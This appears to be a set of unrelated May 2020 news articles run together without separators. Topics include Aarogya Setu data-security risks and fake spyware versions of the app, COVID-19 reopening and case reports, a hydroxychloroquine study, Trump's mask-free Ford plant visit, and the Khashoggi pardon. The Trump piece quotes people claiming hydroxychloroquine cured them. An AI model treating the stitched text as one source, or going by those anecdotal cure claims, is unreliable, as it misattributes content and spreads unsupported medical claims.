The concerns expressed by Singh were endorsed by two former intelligence officers who have held senior positions in the National Intelligence Grid (Natgrid) and the National Technical Research Organisation (NTRO)  two of Indias main agencies tasked with digital intelligence gathering.

The threat is particularly serious due to the nature of information involved, one of the former intelligence officers cited above said. He added that users part with information that can directly identify them, where they have been, and what health conditions they suffer from, making it a target for common cyber criminals who can offer these up on the dark web for a price, as well as state-backed hackers for espionage.

Government officials again rejected these concerns, saying that their data encryption standards have adequate protection against breaches.

A VERITABLE GOLD MINE

Since its launch in early April, Aarogya Setu has had at least 106 million sign-ups, according to government officials. The process requires users to declare their mobile numbers, name, gender, age, and whether they belong to a set of high-risk professions, such as law enforcement or health care.

The application then routinely asks people to self-assess their health by answering questions such as whether they have any of the symptoms associated with Covid-19 or if they have a history of diabetes, hypertension or obesity  factors that make people more susceptible to the disease.

The second retired intelligence official described three scenarios in which such breaches can be dangerous. The first risk comes from any hacker who wants to profit from the data. For instance, someone can leak the data about the number of people who identified as diabetics and sell it to a company making insulin for targeted ads, or to an insurance company to deny claims.

He said that the second is what the government itself can do. Unfortunately, no matter what legal protocols you put in place, the sovereign can always find ways to use this data for purposes that they were not meant for.

But it is the third use which potentially is the most hazardous, he said. The third, and the highest risk, is from geopolitical adversaries who can use this data for a wide variety of reasons. They can misuse it to identify and target particular citizens, such as a bureaucrat or a politician, or they can simply scare people into not trusting their government with any data, this person said, asking not to be named.

Most state-initiated hacks are not even known to the public. What you hear about normally are amateurish attempts. The really sophisticated ones have been very hard to detect, this person added.

Cyber criminals are known to use such data to determine multiple point of information about an individual, which can then be used to bypass identity checks for crimes such as bank account theft.

IMPENETRABLE MYTH

Fundamentally, data breaches can happen in two ways. The most common method is deceiving someone into divulging sensitive information or giving a hacker privileged access  a tactic commonly known as a phishing attack. Such tactics have been used in the past by hackers to obtain back-door access  by fooling, for instance, an IT management staff  to sensitive networks used by banks or government offices.

The other is code-based attacks on computer networks, which usually make use of flaws in software, or what are known as exploits. In some of the most sophisticated attacks, the exploit is done through a zero-day vulnerability  a backdoor that only the attacker knows about.

Both these methods have proven to work  often in combination  to compromise the more secure of systems. Zero-day hacks have been carried out by state-linked hackers and is a risk that cannot be ruled out, the second intelligence agency veteran quoted above said.

Till now, officials have not detected such an attempt on health data in India. The data is fully secure; our encryption and data storage policies will ensure that there is no breach. Sensitive data of our citizens is kept in a manner where there is no unauthorised access to the data, said Abhishek Singh, CEO of MyGov, one of the government agencies involved in the Aarogya Setu project.

RISE OF FAKE APPs

There is a third risk factor associated with the Aarogya Setu push  modified or impostor applications that look like Aarogya Setu but are spying tools. These have been spread using the same techniques as phishing, often through messaging applications or via links sent over WhatsApp. While this might not expose the entire database, it could compromise individuals who are successfully targeted.

The Union home ministry issued a warning in late April  the same month Aarogya Setu was launched  about such fake apps being sent to Indian soldiers and paramilitary personnel through WhatsApp, media reports said last month.

In the current version of the app, there is no protection against an internal modification. So, its quite easy to create a modified version of the app. Of course, a modified version of Aarogya Setu can become viral. Especially now, (since) Aarogya Setu is a big topic in India, said Baptiste Robert, a France-based cyber security researcher who is more commonly known by his nom de guerre Elliot Alderson.

Robert first found flaws in an earlier version of the Indian app that allowed access to internal programme files, which could lead to an attacker accessing the data the Aarogya Setu collects.

The distribution of a modified app creates new threats. Depending on the modifications done, it can either kill the purpose (of Aarogya Setu) and remove the tracing functionality, (or) it can be used by attackers. By adding malicious code, they can infect victims phones and steal their personal info, Robert added.

On May 14, researcher at anti-malware product developer ESET shared screenshots showing one such impostor application with the same logo and name as the real Aarogya Setu, but was actually spyware. Its SpyNote - RAT (remote access trojan) tool. Its not created by IN govt... [Spynote can] log user keystrokes, steal SMS, wipe device, steal contact list, take camera pics, record audio, install additional apps, reset device PIN and make calls, wrote Lukas Stefanko,

MyGovs Singh said impostor applications were being spread and people were being asked to download it, which is not right. These imposter apps cannot come on PlayStore and we have ensured that. People usually download top-rated apps from PlayStore and the Aarogya Setu is highly rated, said Singh.

SECURITY IMPLICATIONS

Researcher Pukhraj Singh recounted several of the past hacks (see box) that extracted government personnel data, medical records and banking information. It has hugely upset American intelligence collection programs, especially the ones relying on HUMINT (human intelligence). Maintaining intelligence cover has become close to impossible now, he said.

The problem is that we see databases in isolation. (But) they are like lobes to a nervous system. The more databases adversaries have access to, the more they are able to control the system, Singh said, adding that India needs to undertake a kind of cost-benefit assessment and a whole-of-government posture review to know what we are really doing with the data that is being collected.

The second of the two former intelligence official quoted above concurred with the position. Every country will have a certain capability to manage its database. Unfortunately, in the Indian administration, networks and systems are managed by L-1 contractors, or a service provider who offered the lowest prices. This creates a lot of inefficiency, he said, adding that the issue has persisted for decades.

The second former intelligence official added: We must build up an ecosystem based on very strong encryption, for both data security as well as network security. Protection of such databases depend on the capabilities in this fields. Unless you have very strong encryption frameworks made domestically, you will keep having all kinds of vulnerabilities.

The other significant issue is cyber hygiene. In the past month, Robert brought to light open databases with details of citizens meant to be under home quarantine in three states: Gujarat, Madhya Pradesh and Karnataka. The databases contained locations of these individuals and their names in some cases. All of these were removed after the French researcher tweeted about.

The second former intelligence official said stronger efforts for data minimisation and anonymisation can be made in the interim.

Data minimisation refers to the principle of collecting only the basic information required for a tools purpose. In Aarogya Setus case, privacy activists say the collection of location records, profession details and granular demographic data does not follow this principle.

(With inputs from Amrita Madhukalya)

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WATERLOO REGION  Mathematician Chris Bauch has crunched the numbers and says Ontario should not have everyone move in lockstep to reopen workplaces and schools.

Let each region or city reopen based on how many of its residents are actively sick, he argues.

The sweet spot he found to support reopening is about four or fewer active cases of COVID-19 per 100,000 people.

Hard-hit Waterloo Region is not there yet  it currently has more than 100 active cases and would have to reduce that to about 25 active cases to meet the reopening threshold.

It does seem that we have to be lower. I dont think its unfeasible to get there, said Bauch, a University of Waterloo professor who studies the spread of infectious disease.

But Kingston is already there with just one active case. Sudbury is already there with just three active cases. Thunder Bay is already there with two active cases.

With this kind of more tailored approach, you allow places to open that are ready for it and keep the ones closed that are not quite ready for it, Bauch said.

He has co-authored a study that used mathematical simulations to test year-long outcomes. It uses county-by-county data on demographics, disease, travel and testing.

The study concludes that a patchwork reopening based on local conditions is the best way to move past the pandemic because it best limits the spread of disease and damage caused by closing the economy.

Bauch said the Ontario government is instead pursuing a one-size-fits-all approach which doesnt reflect local epidemiological conditions.

We found that the county-by-county approach did a lot better, Bauch said.

The reason it does that is when youre looking at the scale of the whole province, youre kind of masking local differences in the epidemiology. So youre masking some areas that might be hot spots and some areas where you might actually have relatively few cases. Youre kind of melting them all into the same measure.

The patchwork approach has to be co-ordinated to work properly. The province  not local authorities  must set triggers for reopening and closure. Communities have to move quickly to close down again if new cases surge. It helps if testing rates are universal across all places.

If these conditions are in place, his study concludes that a patchwork approach reduces new infections and days of economic closure compared to the entire province moving in lockstep.

This holds true even if people from closed communities flood into reopened communities to take advantage of fewer restrictions there. The model simulated for this by doubling the regular travel rate across county borders.

That kind of replicates the surge that might happen if everyone goes to Kingston all of a sudden, Bauch said. Even with the higher travel scenario, we found that the county-by-county approach works better.

The paper Bauch cowrote on the study has not been peer-reviewed but will be. The university released it Thursday to help inform Canadas response to the pandemic.

Authors feel the papers findings could apply broadly to other Canadian provinces and to U.S. states.
Hospitalized Covid-19 patients treated with hydroxychloroquine, the malaria drug President Donald Trump says he's taking to prevent the coronavirus, had a higher risk of death than those who didn't take it, according to a study published Friday in The Lancet.

Patients who took the drug or chloroquine, which hydroxychloroquine is derived from, were also more likely to develop irregular heart rhythms, according to the study. The study looked at more than 96,000 patients from 671 hospitals across six continents.

Researchers at Harvard Medical School, Brigham and Women's Hospital and other institutions looked at patients who were hospitalized with Covid-19 between Dec. 20 and April 14. They said 14,888 patients were treated with hydroxychloroquine or chloroquine, either alone or in combination with a macrolide. The remaining 81,144 patients were in the control group.

Nearly 10,700 patients died in the hospital. The study found that after controlling for multiple factors, including age, race, sex and underlying health conditions, there was a 34% increase in risk of mortality for patients who took hydroxychloroquine and a 137% increased risk of serious heart arrhythmia.

The findings were published days after Trump said he has been taking hydroxychloroquine daily for over a week to prevent infection from the coronavirus despite warnings from the Food and Drug Administration.

White House physician Dr. Sean Conley released a memo Monday evening, saying that after discussing evidence for and against hydroxychloroquine with Trump, the two concluded "the potential benefit from treatment outweighed the relative risks."

The White House did not immediately respond to CNBC's request for comment on the study.

Hydroxychloroquine, which has been repeatedly touted by Trump as a potential game changer in fighting the coronavirus, is also often used by doctors to treat rheumatoid arthritis and lupus. Numerous clinical trials are looking to see if it's effective in fighting the coronavirus, but it is not a proven treatment.

Hydroxychloroquine is known to have serious side effects, including muscle weakness and heart arrhythmia. A small study in Brazil was halted for safety reasons after coronavirus patients taking chloroquine developed arrhythmia, including some who died.

Last week, a study published in the JAMA Network found the drug appeared to not help Covid-19 patients and, instead, placed them at increased risk of cardiac arrest.

The study published Friday analyzed medical records of Covid-19 patients. It was not a randomized controlled trial, which is considered the gold standard in science. It was funded by the William Harvey Distinguished Chair in Advanced Cardiovascular Medicine at Brigham and Women's Hospital.
(Newser)  The family of slain Washington Post columnist Jamal Khashoggi announced Friday they have forgiven his Saudi killers, giving legal reprieve to the five government agents convicted of his murder whod been sentenced to execution. "We, the sons of the martyr Jamal Khashoggi, announce that we forgive those who killed our father as we seek reward from God Almighty," wrote one of his sons, Salah Khashoggi, on Twitter. Salah Khashoggi, who lives in Saudi Arabia and has received financial compensation from the royal court over the killing, explained that forgiveness was extended to the killers during the last nights of the Muslim holy month of Ramadan in line with Islamic tradition to offer pardons in cases allowed by Islamic law, the AP reports.

story continues below

The announcement was largely expected because the trial in Saudi Arabia left the door open for reprieve by ruling in December that the killing was not premeditated. That finding was in line with the Saudi governments official explanation of Khashoggi's slaying, which has been called into question internationally. Saudi media outlet Arab News sought to clarify Friday that the announcement made by Khashoggis sons spares the convicted killers from execution, but does not mean they will go unpunished. The grisly killing and dismemberment of Khashoggi's body in the Saudi Consulate in Istanbul in late 2017 as his Turkish fiance waited for him outside drew international condemnation and cast a cloud of suspicion over Crown Prince Mohammed bin Salman. The body has never been found.

(Read more Jamal Khashoggi stories.)
For more coverage, visit our complete coronavirus section here.

Life and work in the Bay Area may be changed forever.

An anonymous survey of 4,400 tech workers, conducted by Blind, found that two thirds of employees would consider leaving the Bay Area if they had the option to work remotely, as reported by Business Insider.

That option seems more and more likely as tech giants announce plans to let employees work remotely, indefinitely.

Last week Twitter's chief executive Jack Dorsey told employees that most workers would be allowed to work from home permanently, even after the coronavirus pandemic passes. Following the social media giant's disrupting move, Coinbase and Square made similar decisions. Google and Facebook soon joined suit although stopped short of an indefinite change, but foresee working-from-home as the norm until at least until 2021.

An office-centric culture may be a thing of the past, although salaries could be adjusted to account for reduced living costs away from the sky-high rents and real estate prices in San Francisco.

The sweeping changes may radically alter the way Americans work, after a century of office culture.

Even if workers do return to their downtown offices, the five-day work week may be a thing of the past. Respondents to the survey overwhelmingly said they didn't expect to go back into offices every day after the pandemic.

The change will be welcome to many who battle the complications of life in San Francisco, from a ultra-high cost of living to slow commutes. As city bars, shops and restaurants shutter their doors through the pandemic, some tech workers say they have no reason to stay. Meanwhile other regions such as Tahoe have seen an uptick in real estate interest.

Blind's survey dug into respondents' specific desires.

When asked if they would "consider relocating" if given the option to work remotely, 34% of Bay Area respondents said no. About 18% said they'd consider moving out of the Bay Area but staying in California, 36% said they'd consider moving elsewhere in the US and 16% said they could foresee leaving the country.

For the Business Insider story read here.

MORE CORONAVIRUS COVERAGE:

Sign up for 'The Daily' newsletter for the latest on coronavirus here.

Andrew Chamings is a digital editor at SFGATE. Email: Andrew.Chamings@sfgate.com | Twitter: @AndrewChamings
Does anyone really need to point out the irony (to put it kindly) of the Wisconsin Supreme Court electronically hearing arguments and issuing a ruling to kill Wisconsins stay-at-home order? The justices who voted to overturn the order -- Roggensack, Rebecca Bradley, Kelly and Ziegler -- stayed at home," or at least someplace safe, to do their work. In essence they said, Were going to be careful about this pandemic, but we dont care if you guys are at risk. Its Tyranny  Justice Rebecca Bradleys word -- if the state tries to keep you safe. Twisted right wing thinking.

The Republican Legislature in April sued the Wisconsins Department of Health Services (DHS), and its head, Andrea Palm, claiming that Palm and the DHS overreached by issuing the order. However, the law that empowers DHS says it may close schools and forbid public gatherings in schools, churches, and other places to control outbreaks and epidemics." Overreach?

Justices Anne Walsh Bradley and Dallet were joined by conservative Justice Brian Hagedorn dissent. Justice Hagedorn, though conservative, admirably hewed not to party line, but to what he saw as the logic of the matter. He said The Legislature may have buyers remorse for the breadth of discretion it gave to [DHS], but those are the laws it draftedWe are allowing the Legislature to argue its own laws are unconstitutional."

Sure, people are suffering by being out of work, but we cant fix that by sending them into the jaws of a pandemic.

Don Foy, La Farge

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YEREVAN, MAY 22, ARMENPRESS. No new COVID-19 cases or related deaths have been recorded in Thailand in the last 24 hours, the countrys coronavirus task force reported, according to RIA Novosti.

Despite the positive news, the local authorities have cautioned that the virus isnt eliminated yet.

Unfortunately, two citizens under quarantine who arrived from Egypt and India already display symptoms, they have been tested, if confirmed, the numbers will be calculated in the next days figures, the coronavirus task force of Thailand said.

Thailand reported a total of 3037 coronavirus cases, with 56 fatalities. Most patients recovered, with only 71 active cases remaining.

Editing and Translating by Stepan Kocharyan
Domestic flyers arriving



in Kerala must undergo strict home quarantine as per the lockdown guidelines, in view of increasing COVID-19 cases in the state, Health Minister K K Shailaja said on Friday.

"Even if the domestic flight services resume, those coming in must remain under stricthome quarantine as per the guidelines.

There is no change in that. Most people will be coming from the major hotspots of the country," she said.

Announcing the resumption of domestic flight services from May 25, the Civil Aviation Ministry indicated on Thursday that it was not in favour of quarantining passengers on short-haul flights.

However, the Assam government has made it mandatory for all air passengers coming to that state to stay in quarantine for 14 days.

Apart from the health department and the local self government institutions, Shailaja said the people of Kerala must also ensure that every returnee to the state remained under strict home quarantine in order to curb the spread of the disease.

"We need to strictly keep under observation all those who come fromoutside the state and make sure that they do not come into contact with others including their family members.

They should be effectively remain under room quarantine at their residence," she said.

The state reported 690 cases after 24 more tested positive for coronavirus on Thursday.

As of now over 80,000 people are under observation across the state.

On the death of a 73-year-old woman, who came from Mumbai, on Thursday, the minister said, "Khadijakuttycame from Mumbai along with three others. She alighted at Chavakkad. Her son who picked her up from there took her to the govt hospital as she was tired. She was given good care."



"However, as her condition worsened, had taken a decision to sent her to the medicalcollege. Her swab test was taken and she was tested positive, but she passed away," Shailaja said.

The minister sounded a word of caution that there would be an increase in cases in the coming days as the influx of people coming from abroad and other states would continue.

"We cannot prevent anyone from coming. They are our brothers and were suffering there. We need to save those who come here and also those who are here," the Minister said.

Shailaja said the southern state had successfully managed the first two phases of the viral outbreak in January and March.

"There were three deaths. But we managed to save the rest of the people including a 93-year-old man," she said.

The Minister further said the situation in the state changed after flight services resumed and the border roads were re-opened after May 7.

"Our fatality rate is low and recovery rate is high. After May 7, when the flight restrictions were lifted and people from other states started coming in, we reported 188 cases.

At least 90 per cent of the positive cases came from outside and the rest are their contacts," she noted.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
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Donald Trump was finally photographed wearing a mask Thursday during the private section of a high-profile visit to a Ford factory - but spent the entire public part of the tour defying its boss Bill Ford's request to cover up.

In public, Trump held the navy blue face covering with the seal of the president on it, but added he didn't want to give the media the 'pleasure' of seeing him wear one.

'I wore one in this back area. I didnt want to give the press the pleasure of seeing it,' he said during his tour of the Rawsonville Components Plant. 'I had the goggles and the mask.'

Trump has been reluctant to be photographed wearing a face covering and is reported to have said it would send the wrong message as he pushes to get the country focused on reopening from the coronavirus pandemic, which has infected more than 1.58 million Americans and killed almost 100,000.

He was finally photographed wearing a face covering backstage as Ford, the executive chairman of the firm founded by his great-grandfather Henry Ford, showed him three Ford GTs during a private tour.

But when he was in public, he brandished the mask with the presidential seal without putting it on, and posed with a face visor which he did not wear either. Also not wearing a mask was his press secretary Kayleigh McEnany and chief of staff Mark Meadows.

After the tour, Ford Motor Company put out a statement from its executive chairman, saying the president was asked to wear a mask. The state attorney general also has threatened legal action against Ford if Trump did not wear a face covering during his tour.

'Bill Ford encouraged President Trump to wear a mask when he arrived. He wore a mask during a private viewing of three Ford GTs from over the years. The president later removed the mask for the remainder of the visit,' the company said.

Michigan attorney general Dana Nessel told CNN: 'He is a petulant child who refuses to follow the rules. This is not a joke.'

What took so long? Donald Trump was finally photographed in a mask during the private portion of his tour of the Ford plant - but he took it off before it could be seen in public

Request: Trump toured the plant with Bill Ford, the company's executive chairman, who asked him directly to wear a mask throughout his time there. The president refused to wear it in public

President Trump defied Michigan's mandatory face mask policy on Thursday and toured a Ford Motor factory with no covering

The navy blue mask has the seal of the president of the United States on it

President Trump was pictured holding up a plastic face covering

President Trump showed off the mask and said it 'looked very nice' when he had it on backstage

President Trump said it was his choice whether to wear the mask or not

Ford executives giving President Trump the tour wore face masks

President Trump carries a face mask crumbled in his hand during his factory tour

Michigan requires people to wear some type of face covering in public enclosed spaces thanks to an executive order signed by Governor Gretchen Whitmer at the end of April. There are no fines for violating the order but stores can refuse to serve those without the coverings.

'Honestly, if he fails to wear a mask, he's going to be asked not to return to any enclosed facility inside our state,' Dana Nessel, a Democrat, had told CNN before he went there.

She returned to the network after his public defiance and said: 'This is no joke. He is in a county right now where over 100 people died. He is conveying the worst possible message to people who cannot afford to be on the receiving end of misinformation.

Nessel said she would consider bringing charges against Ford for failing to get him to cover up, although she spoke before the backstage picture leaked out.

'We're going to have to have a very serious conversation with Ford in the event that they let the president in publicly-enclosed spaces defy that order,' she said.

'The last thing we want to see is for this plant to close its doors again because somebody was infected by the president.'

Trump said he didn't have to wear a mask because he's been tested for the coronavirus and was tested again that morning. The mask prevents someone with the illness from transmitting it.

He did say the mask looked good on him when he wore it backstage.

'It was very nice. It looked very nice,' he said of his wearing the mask out of public view.

He said he didn't wear one during the public portion of his factory tour - despite Michigan's requirement - because 'I was given a choice.' The Ford Motor Company executives guiding him through the factory wore masks.

Bill Ford, the Executive Chairman of Ford Motor Company, who accompanied Trump on the tour, told the reporters traveling with Trump that it was the president's 'choice' to wear a mask or not.

Asked if he should be wearing a mask to set an example, Trump said: 'I think it sets an example both ways. As they say, I did have it on.'

During the visit, Trump touted his administration's efforts to fight the coronavirus in the state.

President Trump nor his Chief of Staff Mark Meadows wore a mask but Housing Secretary Ben Carson and White House senior adviser Jared Kushner wore them

President Trump answered questions from the press during the factory tour

Ford Motor Company CEO Jim Hackett (left) speaks with President Donald Trump during the factory tour

President Trump did try on a plastic face shield during the tour, the face shields are made in the plant

The Rawsonville Components plant makes protective gear and ventilators to help battle the coronavirus

In his remarks, Trump told factory workers they were a 'national treasure'

President Trump spoke among automobiles at the Rawsonville Components factory

Workers wear face masks when they listened to the president's remarks

Vital equipment: Donald Trump speaks as he tours Ford's Rawsonville Components Plant that has been converted to making personal protection and medical equipment

'We have done a tremendous job in the state of Michigan, not only in terms of bringing autos back - auto productions - back but also in terms of fighting the virus,' the president said at a roundtable with African American leaders on how the disease has infected disenfranchised communities.

The group was seated five feet apart at a long table in a closed off area of the Rawsonville Components Plant in Ypsilanti, Michigan. The area was closed off by blue drapes. Behind Trump was a backdrop that read 'Transition to Greatness,' the president's new slogan.

'You'll notice at this table we are socially distance,' Housing Secretary Ben Carson, who traveled with Trump to Michigan, pointed out.

Also at the event were Republican Senate candidate John James and State Representative Karen Whitsett. James wore a mask during the roundtable.

Trump touted Whitsett's story after she appeared on Fox News to describe how she took hydroxychloroquine and was cured of COVID-19. She's also met with the president at the White House during an event with people who survived the coronavirus.

Also at the event, Robin Barnes, a real estate agent, said hydroxychloroquine cured her when she had COVID-19.

She told Trump she heard him talking about the anti-malaria drug on television.

'I was able to call my doctor and say listen hey let's try this because, you know, this must be what's going on,' Barnes noted. She said got a prescription for it and the antibiotic azithromycin, also known as z-pack.

'I took it at 9:30 in the morning. By four or five o'clock I was breathing good. So it works,' she said.

'Thank you for that,' Trump told her.

State Representative Karen Whitsett joined President Trump at a roundtable meeting; Trump has touted her story of how taking hydroxychloroquine cured her of the coronavirus

Real estate agent Robin Barnes told President Trump she took hydroxychloroquine after seeing him talk about it on television and it cured her case of COVID-1

Michigan attorney general Dana Nessel, a Democrat, said President Donald Trump will be told not to come back if he refuses to wear a face mask when he tours a Ford Motor plant

Ford Motor Co., line workers put together ventilators that the automaker is assembling at its Rawsonville plant

The president is taking hydroxychloroquine as a preventative measure against exposure to the coronavirus. He said he is finishing up his course of it this week.

During the roundtable, Trump offered his support to the state, which is suffering from heavy flooding in the north.

He did not address his previous threat to with hold federal funding after the Michigan secretary of state sent absentee ballot applications to all registered voters.

'Im not going to discuss that. There are so many forms of funding. What we want is good, straight, honest voting,' he said.

Trump and other Republicans have claimed, without evidence, that mail in voting increases the chances for voter fraud. The president made that argument again on Thursday and explained why he, himself, votes absentee.

'Now, if you're president of the United States and if you vote in Florida, and you can't be there, you should be able to send in a ballot. If you're not well, you're feeling terrible, you're sick, you have a reasonable excuse - just a reasonable excuse - you should be able to vote by mail in,' he said.

Trump has never been photographed wearing a face mask. He was not seen wearing a mask when he visited factories in Arizona and Pennsylvania over the past two weeks but he claimed he donned one for a few minutes backstage while at the Honeywell plant in Phoenix on May 5.

Ford has a policy that all visitors must wear personal protective equipment and originally indicated Trump would wear one. But the company later backed down and said the White House has its own protective procedures and will make its own determinations about whether masks will be worn.

Nessel threatened to take legal action against Ford Motors if the president doesn't wear a face covering.

'I know that Ford has asked him to do the same thing, but if we know that he's coming to our state, and we know he's not going to follow the law, I think we're going to have to take action against any company or any facility that allows him inside those facilities and puts our workers at risk. We simply can't afford it here in our state,' she said.

'We are just asking that President Trump comply with the law in our state, just as we would make the same request of anyone else in those plants,' she added, pointing out that an agreement that allowed auto workers to return to the plant included a provision that everyone will wear a mask and observe social distancing policies.

She implored President Trump to think about the cost and work that would go into disinfecting the Rawsonville Components Plant after his visit.

'We're asking if President Trump doesn't care about his own health, doesn't care about the health and the safety of people who work in those facilities, at least care about the economic situation of, you know, costing these facilities so much money by having to close down and disinfect the plant after he leaves,' she said.

On Tuesday, a spokesperson for Ford said the company shared its safety policy, which includes a requirement to wear masks, with the White House.

But the company backed down from saying Trump would be required to don a facial covering.

'The White House has its own safety and testing policies in place and will make its own determination' about whether Trump and White House officials will wear masks during the visit,' a spokesperson said.

Trump said Tuesday he'd consider wearing a mask if the situation warranted it.

'I don't know, I haven't even thought of it,' Trump said. 'It depends, in certain areas I would, in certain areas I don't, but, I will certainly look at it. It depends on what situation. Am I standing right next to everybody, or am I spread out. Is something a hospital, is it a ward, what is it exactly? I'm going to a plant.'

'So we'll see,' Trump said. 'Where it's appropriate, I would do it, certainly.'

Michigan has had more than 52,000 cases of the coronavirus and more than 5,000 deaths.

Nessel wrote an open letter to Trump on Wednesday, asking him to wear a face mask during his visit, arguing he has a 'social and moral' responsibility to do so.

Michigan Governor Gretchen Whitmer signed an executive order requiring people to wear face masks in public enclosed places

Protestors chant on the steps of the state Capitol in Lansing

Don Richardson assembles a ventilator at the Ford Rawsonville plant that Trump will visit

Whitmer has instigated tough measures to try and combat the pandemic. In addition to the face covering policy, she instituted a stay-at-home requirement that remains in effect. Restrictions will start to ease in parts of the state on Friday.

Protesters, however, swarmed the state Capitol in Lansing to object to the shut down.

President Trump has cheered them on.

On Wednesday, the president argued the stay-at-home order should be lifted so residences can help out with flooding in the northern part of the state that has led to two burst dams and 10,000 people being evacuated.

'We have sent our best Military & @FEMA Teams, already there. Governor must now 'set you free' to help. Will be with you soon!,' he tweeted.

President Trump on Wednesday threatened to with hold unspecified federal funds from Michigan after the secretary of state sent absentee ballot applications to all registered voters.

The state is crucial to the president's re-election effort. He won it by less than one point in the 2016 election.

Trump declined to specify on Wednesday what laws he said Michigan was breaking when Michigan Secretary of State Jocelyn Benson mailed out the applications. Republicans have argued without proof that mail-in ballots increase voter fraud. Democrats claim Republicans are against it because it benefits voting blocs that tend to vote Democratic.

'Mail-in ballots are a very dangerous thing they're they're subject of massive fraud,' Trump said at an event at the White House with the governors of Kansas and Arkansas.

Trump didn't get specific on what kind of federal funds might be with held from the state. 'You'll be finding out that we finding out very soon if it's necessary,' he said. 'I don't think it's going to be necessary.'

Whitmer called the threat 'scary' and 'ridiculous' given the heavy flooding in Midlands county.

'We've got to evacuate tens of thousands of people who are worried and scared. On top of this global pandemic. And to have this kind of distraction is just ridiculous to be honest. It's - threatening to take money away from a state that is hurting as bad as we are right now is just scary. And I think something that is unacceptable,' Whitmer told CBS' 'This Morning' on Thursday ahead of the president's visit.

MAY 5: President Trump did not wear a mask to a Honeywell mask plant, but did wear protective safety goggles

MAY 14: The president also didn't wear a mask nor gloves when he toured a medical supply company in Allentown, Pennsylvania

The p-resident said previously he put on a mask 'backstage' when visiting a Honeywell plant on May 5 in Arizona that was producing N95 masks to help deal with a nationwide PPE shortage due to the coronavirus pandemic.

Trump did not wear a mask when cameras were focused on him.

He did wear safety goggles.

He also didn't wear a mask when touring a Allentown, Pennsylvania factory last week that was a distribution center for medical supplies and protective gear.
A doctor walks outside Mount Sinai Hospital during New York's coronavirus outbreak.

Brendan Mcdermid/Reuters

Four months after the US recorded its first coronavirus case, New York still has nearly a quarter of US cases and 30% of the country's COVID-19 deaths.

As the state's outbreak winds down and other parts of the country begin to relax lockdown restrictions, attention has shifted to locations that could become new hotspots and to the possibility of new waves of infections. Cases are still rising in Arizona, Illinois, California, and Texas. Illinois' Cook County alone  home to Chicago  has more infections than any other US county, excluding New York City.

But it's highly unlikely that any state's outbreak will rival New York's. The state was a unique victim of density and timing.

"Why New York? Why are we seeing this level of infection?" Gov. Andrew Cuomo said at a press briefing on April 13. "It's very simple. It's about density. It's about the number of people in a small geographic location allowing that virus to spread."

New York City is one of the densest cities in the world, with more than 28,000 people per square mile. Even San Francisco, the second densest city in the US, doesn't come close. Before the pandemic, more than 5 million people in New York City took the subway each day. The city also has the largest school district in the US in terms of enrollment, with nearly 985,000 students.

That means more people in New York were interacting with one another on a daily basis than in any other city, creating more opportunities for the virus to spread.

Story continues

Cases in NYC by age

Shayanne Gal/Business Insider

New York's outbreak also started before any regional lockdowns were in place in the US, and before testing capacity was sufficiently scaled up.

Researchers have suggested that the virus was circulating in the city as early as mid-February. When New York's statewide lockdown went into effect on March 22, there were more than 10,000 recorded cases in New York City alone. And that's only the ones confirmed by tests.

Now that all but five states have implemented some form of lockdown for at least a period of time, the virus is no longer spreading as freely. Even states that have loosened lockdown restrictions aren't reverting to the same behaviors they practiced before the pandemic.

A line for relief goods stretches four blocks in Queens, New York, on May 6, 2020.

John Nacion/STAR MAX/IPx 2020 5/6/20

In Florida, restaurants and retail stores are only operating at 50% capacity, social distancing and sanitation measures are required at gyms, and bars and movie theaters remain closed. California is requiring curbside pickup and physical distancing at retail stores  and Gov. Gavin Newsom said the state may not allow spectators at professional sporting events when those games resume this summer.

These lingering restrictions help reduce the potential for a second wave of infections.

Research from Imperial College London suggests that around one-third of coronavirus transmission occurs in households, one-third takes place in schools and workplaces, and one-third happens in the community (at churches, bars, restaurants, grocery stores, and playgrounds). If people continue to work remotely, take food to-go, and social distance in public, the chance of transmission goes down, even once a state is fully "reopen."

The researchers even found that maintaining social distancing for the next two years could be enough to prevent a second wave  a prediction recently echoed by Harvard public-health experts. That means no place will face the same circumstances that New York did in March, as the virus spread silently through the nation's most crowded city.

Read the original article on Business Insider
Mid-rant, Basil Fawlty, the irascible hotel owner played by John Cleese in classic TV comedy Fawlty Towers, is interrupted by a guest complaining: Im not satisfied!

To this, Fawlty  not one to take criticism lightly  raises an eyebrow and snaps: Well, people like you never are, are you?

How Fawlty would have coped with the expectations of todays desperate holidaymakers well never know  but, thankfully, real hotel owners are working tirelessly to prepare to please guests once more.

Hotel owners are working tirelessly to prepare to please guests once more. But what will you get for your cash? And what measures are being put in place to keep you safe?

It will be a case of hand sanitiser at every turn, endless cleaning, contactless payments at reception  and you can forget that complimentary welcome drink.

We could see plenty of bargains on offer at hotels and B&Bs to tempt travellers back, and the same with air fares.

But what will you get for your cash? And what measures are being put in place to keep you safe?

Heres what to expect...

HOTELS

Contactless check-ins will be the order of the day, with printed room keys and no requirement to queue to check out. Self-service machines, wiped down regularly, will be a feature of hotel lobbies everywhere. Many groups including Ruby Hotels, Citizen M and Premier Inn already have this at some properties.

Thermal screening on arrival could be the norm. Its already been introduced at the Mandarin Oriental Bodrum in Turkey.

Collection cars from airports may also be phased in. Many guests will not want to use public transport. Partitions and drivers wearing PPE could become standard upgrades. At mass-market hotels in resorts in the likes of Spain and Turkey, buses with extra spacing will be brought in.

Facial recognition is a possibility at check-in at the most high-tech hotels, plus at lifts and for room entry. Its already done at the FlyZoo Hotel in China.

Face masks for all guests will be provided. Accor group hotels, which includes Ibis, Sofitel and Novitel, is preparing this.

Contactless check-ins will be the order of the day, with printed room keys and no requirement to queue to check out

Complimentary hand sanitiser and antibacterial wipes will be de rigueur; another innovation coming from Accor.

Sani-Janitors will roam lobbies, halls and lifts wearing face masks. Many chains including NH Hotels are already ahead on this.

Lift rules will require that only groups who are together share lifts.

Optional housekeeping could take off, with guests being given their own cleaning equipment; a scheme already in place at the Orania.Berlin hotel in Germany.

Mini-bars and freebies to be replaced by sanitation units with extensive Covid-19 kit (face masks and hand-sanitiser).

Rooms left unoccupied for 24 hours between guests. New England-based OHMCollection plans this because studies have revealed the virus is thought to have left 90 per cent of surfaces during this time.

Expect a lot of boasting about cleanliness, with signs everywhere proving it. Marriott group says it is using hospital-grade disinfectant, electrostatically sprayed in rooms. Meanwhile, the Four Seasons chain has created a Covid-19 advisory panel with U.S. healthcare experts John Hopkins Medicine International.

Ozone machines to purify air between guests are expected at some five-star hotels including the Royal Lancaster in London.

Hotel occupancy levels could be restricted by the government. In Spain, hotels reopened on May 11, with only 30 per cent occupancy

